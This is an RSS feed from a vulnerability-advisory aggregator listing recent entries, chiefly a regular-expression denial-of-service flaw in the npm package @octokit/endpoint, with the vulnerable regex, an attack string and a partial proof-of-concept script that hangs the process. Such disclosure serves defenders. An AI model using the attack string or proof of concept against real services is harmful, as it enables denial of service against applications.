https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 04:32:00 +0000 https://cve.radiocsirt.org/vuln/certfr-2025-avi-0279 certfr-2025-avi-0279 https://cve.radiocsirt.org/vuln/certfr-2025-avi-0279 https://cve.radiocsirt.org/vuln/cleanstart-2026-ad27625 <p><strong>Withdrawn by the publisher.</strong></p> <p><strong>Affected:</strong> CleanStart: mongosh</p> <p>Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.</p> <p><strong>Withdrawn by the publisher.</strong></p> <p><strong>Affected:</strong> CleanStart: mongosh</p> <p>Multiple security vulnerabilities affect the mongosh package. These issues are resolved in later releases. See references for individual vulnerability details.</p> https://cve.radiocsirt.org/vuln/cleanstart-2026-ad27625 https://cve.radiocsirt.org/vuln/euvd-2026-217757 EUVD-2026-217757 https://cve.radiocsirt.org/vuln/euvd-2026-217757 https://cve.radiocsirt.org/vuln/fkie_cve-2025-25285 <p>@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. Version 10.1.3 contains a patch for the issue.</p> <p>@octokit/endpoint turns REST API endpoints into generic request options. Starting in version 4.1.0 and prior to version 10.1.3, by crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization. The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. Version 10.1.3 contains a patch for the issue.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-25285 https://cve.radiocsirt.org/vuln/ghsa-x4c5-c7rf-jjgv <p><strong>Affected:</strong> npm: @octokit/endpoint</p> <p>### Summary By crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.</p> <p>### Details The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62: ```ts headers.accept.match(/[\w-]+(?=-preview)/g) || ([] as string[]); ``` The regular expression `/[\w-]+(?=-preview)/g` encounters a backtracking issue when it processes `a large number of characters` followed by the `-` symbol. e.g., the attack string: ```js &#34;&#34; + &#34;A&#34;.repeat(100000) + &#34;-&#34; ```</p> <p>### PoC [The gist](https://gist.github.com/ShiyuBanzhou/a17202ac1ad403a80ca302466d5e56c4) Here is the reproduction process for the vulnerability: 1. run `npm i @octokit/endpoint` 2. Move `poc.js` to the root directory of the same level as `README.md` 3. run `node poc.js` result: 4. then the program will be stuck forever with high CPU usage ```js import { endpoint } from &#34;@octokit/endpoint&#34;; // import { parse } from &#34;./node_modules/@octokit/endpoint/dist-src/parse.js&#34;; const options = { method: &#34;POST&#34;, url: &#34;/graphql&#34;, // Ensure that the URL ends with &#34;/graphql&#34; headers: { accept: &#34;&#34; + &#34;A&#34;.repeat(100000) + &#34;-&#34;, // Pass in the attack string &#34;content-type&#34;: &#34;text/plain&#34;, }, mediaType:…</p> <p><strong>Affected:</strong> npm: @octokit/endpoint</p> <p>### Summary By crafting specific `options` parameters, the `endpoint.parse(options)` call can be triggered, leading to a regular expression denial-of-service (ReDoS) attack. This causes the program to hang and results in high CPU utilization.</p> <p>### Details The issue occurs in the `parse` function within the `parse.ts` file of the npm package `@octokit/endpoint`. The specific code is located at the following link: https://github.com/octokit/endpoint.js/blob/main/src/parse.ts, at line 62: ```ts headers.accept.match(/[\w-]+(?=-preview)/g) || ([] as string[]); ``` The regular expression `/[\w-]+(?=-preview)/g` encounters a backtracking issue when it processes `a large number of characters` followed by the `-` symbol. e.g., the attack string: ```js &#34;&#34; + &#34;A&#34;.repeat(100000) + &#34;-&#34; ```</p> <p>### PoC [The gist](https://gist.github.com/ShiyuBanzhou/a17202ac1ad403a80ca302466d5e56c4) Here is the reproduction process for the vulnerability: 1. run `npm i @octokit/endpoint` 2. Move `poc.js` to the root directory of the same level as `README.md` 3. run `node poc.js` result: 4. then the program will be stuck forever with high CPU usage ```js import { endpoint } from &#34;@octokit/endpoint&#34;; // import { parse } from &#34;./node_modules/@octokit/endpoint/dist-src/parse.js&#34;; const options = { method: &#34;POST&#34;, url: &#34;/graphql&#34;, // Ensure that the URL ends with &#34;/graphql&#34; headers: { accept: &#34;&#34; + &#34;A&#34;.repeat(100000) + &#34;-&#34;, // Pass in the attack string &#34;content-type&#34;: &#34;text/plain&#34;, }, mediaType:…</p> https://cve.radiocsirt.org/vuln/ghsa-x4c5-c7rf-jjgv